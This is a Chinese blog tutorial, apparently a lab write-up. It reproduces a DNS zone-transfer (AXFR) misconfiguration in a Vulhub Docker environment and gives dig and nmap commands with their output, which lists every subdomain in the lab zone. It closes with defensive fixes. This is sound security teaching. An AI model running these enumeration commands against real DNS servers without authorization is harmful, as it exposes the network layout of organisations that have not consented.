DNS区域传送漏洞(dns-zone-transfer)

目录

简介

环境搭建

漏洞复现

防御与修复


简介

DNS(Domain Name System)是一个关键的系统。它是一个用于将易于记忆的域名(例如"www.text.com")转换为计算机理解的IP地址(例如"192.0.2.1")的服务。

在一个典型的域名系统(DNS)中,有一个主要的域名服务器(Master DNS)和一个或多个次要的域名服务器(Slave DNS)。主要服务器维护了完整的DNS记录,而次要服务器通过从主要服务器进行区域传送来同步数据。

DNS域传送漏洞 : dns协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置dns服务器的时候没有限制允许获取记录的来源,将会导致dns域传送漏洞。

DNS域传送漏洞危害 :利用域传送漏洞来获取域名服务器上的全部DNS记录,可能进一步探测网络结构。


环境搭建

        1.搭建靶场Vulhub

        2.进入到 dns-zone-transfer漏洞的目录

cd     vulhub-master/dns/dns-zone-transfer

        3.启动环境      (用root用户,避免权限不够报错)  

 docker-compose up -d

环境运行后,将会监听TCP和UDP的53端口,DNS协议同时支持从这两个端口进行数据传输。

漏洞复现

        在Linux下,我们可以使用dig命令来发送dns请求。比如,我们可以用dig @your-ip www.vulhub.org获取域名www.vulhub.org在目标dns服务器上的A记录:

注 :此处your-ip 指虚拟机的IP  而非docker容器内部IP

        1.发送dns请求,获取域名在目标dns服务器上的A记录

dig @your-ip www.vulhub.org
 

┌──(root㉿li-kali)-[/home/li/vulhub-master/dns/dns-zone-transfer]
└─# dig @192.168.84.135 www.vulhub.org

; <<>> DiG 9.18.12-1-Debian <<>> @192.168.84.135 www.vulhub.org
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57452
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.vulhub.org.                        IN      A

;; ANSWER SECTION:
www.vulhub.org.         3600    IN      A       10.1.1.1

;; AUTHORITY SECTION:
vulhub.org.             3600    IN      NS      ns2.vulhub.org.
vulhub.org.             3600    IN      NS      ns1.vulhub.org.

;; ADDITIONAL SECTION:
ns1.vulhub.org.         3600    IN      A       10.0.0.1
ns2.vulhub.org.         3600    IN      A       10.0.0.2

;; Query time: 0 msec
;; SERVER: 192.168.84.135#53(192.168.84.135) (UDP)
;; WHEN: Wed Aug 09 09:53:01 CST 2023
;; MSG SIZE  rcvd: 127

        2. 发送axfr类型的dns请求

dig @your-ip  -t axfr vulhub.org

┌──(root㉿li-kali)-[/home/li/vulhub-master/dns/dns-zone-transfer]
└─# dig @192.168.84.135 -t axfr vulhub.org

; <<>> DiG 9.18.12-1-Debian <<>> @192.168.84.135 -t axfr vulhub.org
; (1 server found)
;; global options: +cmd
vulhub.org.             3600    IN      SOA     ns.vulhub.org. sa.vulhub.org. 1 3600 600 86400 3600
vulhub.org.             3600    IN      NS      ns1.vulhub.org.
vulhub.org.             3600    IN      NS      ns2.vulhub.org.
admin.vulhub.org.       3600    IN      A       10.1.1.4
cdn.vulhub.org.         3600    IN      A       10.1.1.3
git.vulhub.org.         3600    IN      A       10.1.1.4
ns1.vulhub.org.         3600    IN      A       10.0.0.1
ns2.vulhub.org.         3600    IN      A       10.0.0.2
sa.vulhub.org.          3600    IN      A       10.1.1.2
static.vulhub.org.      3600    IN      CNAME   www.vulhub.org.
wap.vulhub.org.         3600    IN      CNAME   www.vulhub.org.
www.vulhub.org.         3600    IN      A       10.1.1.1
vulhub.org.             3600    IN      SOA     ns.vulhub.org. sa.vulhub.org. 1 3600 600 86400 3600
;; Query time: 0 msec
;; SERVER: 192.168.84.135#53(192.168.84.135) (TCP)
;; WHEN: Wed Aug 09 10:01:45 CST 2023
;; XFR size: 13 records (messages 1, bytes 322)

        我们获取到了  vulhub.org 的所有子域名记录,这里存在dns域传送漏洞。

        3.我们也可以用nmap script来扫描该漏洞:

nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip

防御与修复

        1.防御措施

        限制区域传送权限: 配置主要DNS服务器,只允许授权的次要服务器进行区域传送。这可以通过DNS服务器软件的配置文件来实现。通常,设置允许区域传送的IP地址列表,并确保只有受信任的次要服务器被包括在内。

        使用ACL(访问控制列表): 在DNS服务器配置中,可以设置访问控制列表,限制可以进行区域传送操作的IP地址范围。

        隐藏版本信息: 确保DNS服务器不泄露版本信息。攻击者可能会通过查看版本信息来寻找已知的漏洞。

        

        2.修复措施

        禁用不必要的区域传送: 如果你发现DNS服务器存在域传送漏洞,立即停用不必要的区域传送功能,然后进行配置更改。

        更新配置: 修复配置错误,确保只有授权的次要服务器可以进行区域传送。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值